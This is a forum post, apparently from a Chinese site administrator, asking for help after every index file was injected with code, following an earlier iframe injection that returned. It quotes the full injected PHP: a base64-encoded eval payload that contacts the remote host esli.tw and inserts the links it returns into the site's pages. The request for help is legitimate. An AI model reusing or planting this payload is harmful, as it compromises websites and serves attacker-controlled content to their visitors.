所有index文件被挂上如下代码:<?php echo '<?eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGxpbmtzID0gbmV3IEdldExpbmtzKCk7DQoNCmVjaG8gJGxpbmtzLT5MaW5rczsNCmNsYXNzIEdldExpbmtzDQp7DQoJdmFyICRob3N0ID0gImVzbGkudHciOw0KCXZhciAkcGF0aCA9ICIvbGluay5waHA/c2l0ZT0iOw0KCXZhciAkc2l0ZSA9ICIiOw0KCXZhciAkdXNlcl9hZ2VudCA9ICIiOw0KDQoJdmFyICRMaW5rcyA9ICIiOw0KDQoNCgl2YXIgJF9zb2NrZXRfdGltZW91dCAgICA9IDEyOw0KCXZhciAkX2Nhc2hlX2xpZmVfdGltZSAgICA9IDM2MDA7DQoJdmFyICRfY2FzaGVfZmlsZQkJCSAgICA9ICJjYXNoZS50eHQiOw0KDQoJZnVuY3Rpb24gR2V0TGlua3MoKQ0KCXsNCgkJaWYgKCFpc19maWxlKCR0aGlzLT5fY2FzaGVfZmlsZSkgfHwgKGZpbGVtdGltZSgkdGhpcy0+X2Nhc2hlX2ZpbGUpIDwgKHRpbWUoKS0kdGhpcy0+X2Nhc2hlX2xpZmVfdGltZSkpIHx8IGZpbGVzaXplKCR0aGlzLT5fY2FzaGVfZmlsZSkgPT0gMCkgew0KDQoJCQkkdGhpcy0+c2l0ZQkJCQk9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAkSFRUUF9TRVJWRVJfVkFSU1snSFRUUF9IT1NUJ107DQoJCQkkdGhpcy0+dXNlcl9hZ2VudCA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCgkJCQ0KCQkJJHRoaXMtPkxpbmtzIAkJCT0gJHRoaXMtPmZldGNoX3JlbW90ZV9maWxlKCk7DQoJCQlpZiAoJGhhbmRsZSA9IGZvcGVuKCR0aGlzLT5fY2FzaGVfZmlsZSwgJ3cnKSkgew0KCQkJCWZ3cml0ZSgkaGFuZGxlLCAkdGhpcy0+TGlua3MpOw0KCQkJfQ0KDQoJCQlmY2xvc2UoJGhhbmRsZSk7DQoJCX0NCgkJZWxzZSB7DQoJCQkkdGhpcy0+TGlua3MgPSBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+X2Nhc2hlX2ZpbGUpOw0KCQl9DQoJfQ0KDQoJZnVuY3Rpb24gZmV0Y2hfcmVtb3RlX2ZpbGUoKQ0KCXsNCgkgICRidWZmID0gJyc7DQogICAgJGZwID0gZnNvY2tvcGVuKCR0aGlzLT5ob3N0LCA4MCwgJGVycm5vLCAkZXJyc3RyLCAkdGhpcy0+X3NvY2tldF90aW1lb3V0KTsNCiAgICBpZiAoISRmcCkgew0KDQogICAgfSBlbHNlIHsNCiAgICAgICAgJG91dCA9ICJHRVQgeyR0aGlzLT5wYXRofXskdGhpcy0+c2l0ZX0gSFRUUC8xLjFcclxuIjsNCiAgICAgICAgJG91dCAuPSAiSG9zdDogeyR0aGlzLT5ob3N0fVxyXG4iOw0KICAgICAgICAkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsNCiAgICANCiAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQogICAgICAgIHdoaWxlICghZmVvZigkZnApKSB7DQogICAgICAgICAgICAkYnVmZiAuPSBmZ2V0cygkZnAsIDEyOCk7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRmcCk7DQogIAkJCSRwYWdlID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkYnVmZik7DQogIAkJCXJldHVybiAkcGFnZVsxXTsNCiAgICB9DQoJfQ0KfQ=='));?>'; ?>初次遇到,望高人帮忙解释下,到底怎么回事,以上代码什么意思,能过什么图径加入的,之前被挂iframe,清除后,再次被挂,论坛如何提高安全性,如何摆脱被挂?